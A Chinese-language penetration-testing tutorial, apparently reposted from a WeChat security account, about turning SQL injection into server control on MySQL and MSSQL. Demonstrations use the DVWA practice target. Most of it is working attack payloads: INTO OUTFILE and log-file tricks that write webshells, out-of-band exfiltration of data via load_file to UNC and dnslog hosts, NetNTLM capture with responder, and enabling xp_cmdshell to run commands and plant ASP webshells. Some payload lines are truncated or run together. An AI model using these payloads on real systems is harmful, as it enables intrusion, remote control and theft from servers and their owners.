0x00 前言
上一節(jié),我們已經(jīng)介紹了基本的SQL查詢(xún)語(yǔ)句,常見(jiàn)的SQL注入類(lèi)型,DVWA靶場(chǎng)演示SQL注入。學(xué)習(xí)了上一節(jié)我們可以做到執(zhí)行任意SQL語(yǔ)句,主要可以對(duì)數(shù)據(jù)庫(kù)的數(shù)據(jù)進(jìn)行操作,但是不能對(duì)服務(wù)器和應(yīng)用進(jìn)一步控制,本節(jié)就介紹下在有sql注入的情況下如何進(jìn)行下一步的滲透,獲取到服務(wù)器權(quán)限。
0x01 Getshell
這里我們還是以上一節(jié)說(shuō)的DVWA靶場(chǎng)為例,利用SQL注入漏洞寫(xiě)入webshell獲取網(wǎng)站權(quán)限。
目標(biāo)環(huán)境:
PHP+MYSQL+LINUX
前提條件:
- mysql 是root權(quán)限
- 知道網(wǎng)站在服務(wù)器上的物理路徑,且可寫(xiě)
- 沒(méi)有過(guò)濾單引號(hào)
- `PHP`的`GPC`為 off狀態(tài)
- mysql <= 5.6.34
當(dāng)`secure_file_priv`的值沒(méi)有具體值時(shí),表示不對(duì)`MySQL`的導(dǎo)入|導(dǎo)出做限制
SHOW VARIABLES LIKE "secure_file_priv";
如果是null,表示`MySQL`不允許導(dǎo)入導(dǎo)出。(NULL不等于沒(méi)有空)
而且在`mysql 5.6.34`版本以后 `secure_file_priv` 的值默認(rèn)為NULL,并且無(wú)法用`SQL`語(yǔ)句對(duì)其進(jìn)行修改,并且會(huì)報(bào)錯(cuò)如下:

`docker run -itd --name dvwa1 -p 8111:80 vulnerables/web-dvwa:1.9`
下載低版本的mysql測(cè)試

利用outfile和dumpfile,**outfile會(huì)在每行添加反斜杠,可導(dǎo)出多行,dumpfile只能導(dǎo)出一行,不會(huì)添加反斜杠,適合導(dǎo)出二進(jìn)制文件:
```?id=1' UNION ALL SELECT 1,'' into outfile '/tmp/info.php'?id=1' UNION ALL SELECT 1,'' into dumpfile '/tmp/info.php'```
如果不能使用union查詢(xún)可以使用`fields terminated by`與`lines terminated by`:
```?id=1' into outfile '/tmp/info.php' FIELDS TERMINATED BY ''```
修改配置getshell:
```vi /etc/mysql/my.cnfsecure_file_priv= "/"```
小tricks:
利用日志文件getshell
```show variables like '%general%'; --查看配置,日志是否開(kāi)啟,和mysql默認(rèn)log地址(記下原地址方便恢復(fù))set global general_log = on; --開(kāi)啟日志監(jiān)測(cè),默認(rèn)關(guān)閉(如果一直開(kāi)文件會(huì)很大的)set global general_log_file = '/var/www/html/info.php'; --設(shè)置日志路徑select '--SQL查詢(xún)免殺shellselect "SELECT "--慢查詢(xún)寫(xiě)shell,只有當(dāng)查詢(xún)語(yǔ)句執(zhí)行的時(shí)間要超過(guò)系統(tǒng)默認(rèn)的時(shí)間時(shí),該語(yǔ)句才會(huì)被記入進(jìn)慢查詢(xún)?nèi)罩尽?/span>為什么要用慢查詢(xún)寫(xiě)呢?上邊說(shuō)過(guò)開(kāi)啟日志監(jiān)測(cè)后文件會(huì)很大,網(wǎng)站訪(fǎng)問(wèn)量大的話(huà)我們寫(xiě)的shell會(huì)出錯(cuò)show global variables like '%long_query_time%' --查看服務(wù)器默認(rèn)時(shí)間值show variables like '%slow_query_log%'; --查看慢查詢(xún)信息set global slow_query_log=1; --啟用慢查詢(xún)?nèi)罩?默認(rèn)禁用)set global slow_query_log_file='C:\phpStudy\WWW\shell.php'; --修改日志文件路徑select '```
0x02 OOB
利用mysql的函數(shù),把信息傳遞到外網(wǎng)控制的機(jī)器,例如文件讀取的函數(shù),其實(shí)是對(duì)上面利用的一種變形和深度利用
前提條件:
- mysql <= 5.6.34
跟上面一樣**secure_file_priv**,在5.6.34之前是空值,之后被設(shè)置為null,直接被禁止了
```select @@version into outfile '//192.168.126.149/temp/o';select @@version into dumpfile '//192.168.126.149/temp/o';select load_file(concat('\\',version(),'.dnslog.cn\a'));select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874));```
這里可能被利用竊取NetNtlm或者SMBrelay
responder -I eth0 -rv

0x03 MSSQL 執(zhí)行命令
當(dāng)碰到windows服務(wù)器上web應(yīng)用有MSSQL注入時(shí),可利用注入執(zhí)行命令寫(xiě)webshell等
前提條件:
- SQL Server 2005以后默認(rèn)關(guān)閉,需要手動(dòng)開(kāi)啟
查看xp_cmdshell是否開(kāi)啟,并且使用語(yǔ)句開(kāi)啟:
```exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure'xp_cmdshell', 1;RECONFIGURE;```
執(zhí)行命令:
```exec master..xp_cmdshell 'whoami';```
如果xp_cmdshell被刪除,我們可以利用xplog70.dll恢復(fù)被刪除的xp_cmdshell
```Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\xplog70.dll'```
這里就涉及到上傳文件:
1.利用sql語(yǔ)句寫(xiě)入
```exec sp_makewebtask 'c:\windows\temp\xx.dll','select''<%execute(request("cmd"))%>'''```
2.利用命令執(zhí)行,寫(xiě)入或下載
```exec xp_cmdshell 'echo "<%execute(request("cmd"))%>">> c:\windows\temp\xx.dll)'```
3.db權(quán)限
```目錄情況:create table temp(dir nvarchar(255),depth varchar(255),files varchar(255),ID int NOT NULL IDENTITY(1,1));--insert into temp(dir,depth,files)exec master.dbo.xp_dirtree 'c:',1,1--select dir from temp where id=1 通過(guò)修改id來(lái)遍歷目錄寫(xiě)數(shù)據(jù)alter database 數(shù)據(jù)庫(kù)名 set RECOVERY FULL 開(kāi)啟恢復(fù)模式full,當(dāng)恢復(fù)模式為 SIMPLE 時(shí),不允許使用 BACKUP LOG 語(yǔ)句。create table test(str image)--insert into test(str)values ('<%execute(request("cmd"))%>')--backup log 數(shù)據(jù)庫(kù)名 to disk='c:可讀寫(xiě)路徑x.asp'-- 這里的目錄注意是可讀寫(xiě)目錄,不然會(huì)出問(wèn)題alter database 數(shù)據(jù)庫(kù)名 set RECOVERY simple-- 關(guān)閉恢復(fù)模式full```
其他:
- COM組件利用
- CLR利用
- SQL Server 2016 R利用
- SQL Server 2017 Python利用
- 沙盒利用(openrowset)
- Agent Job利用
0X04 總結(jié)
SQL注入到Getshell
-
服務(wù)器
+關(guān)注
關(guān)注
14文章
10328瀏覽量
91697 -
SQL
+關(guān)注
關(guān)注
1文章
807瀏覽量
46884
原文標(biāo)題:SQL注入到Getshell和OOB
文章出處:【微信號(hào):哆啦安全,微信公眾號(hào):哆啦安全】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。
發(fā)布評(píng)論請(qǐng)先 登錄
sql注入原理及預(yù)防措施
基于SQL注入攻擊檢測(cè)與防御的方法
sql注入攻擊實(shí)例講解
網(wǎng)絡(luò)環(huán)境的SQL注入行為檢測(cè)
一文帶你了解安全測(cè)試基礎(chǔ)之SQL注入
訓(xùn)練SQL注入的sqil-labs-master闖關(guān)游戲
SQL注入攻擊是什么 SQL注入會(huì)帶來(lái)哪些威脅
Mybatis的SQL注入審計(jì)的基本方法
SQL語(yǔ)句利用日志寫(xiě)shell及相關(guān)繞過(guò)
超級(jí)SQL注入工具–SSQLInjection
什么是SQL注入?Java項(xiàng)目防止SQL注入方式總結(jié)
SQL注入到Getshell的教程
評(píng)論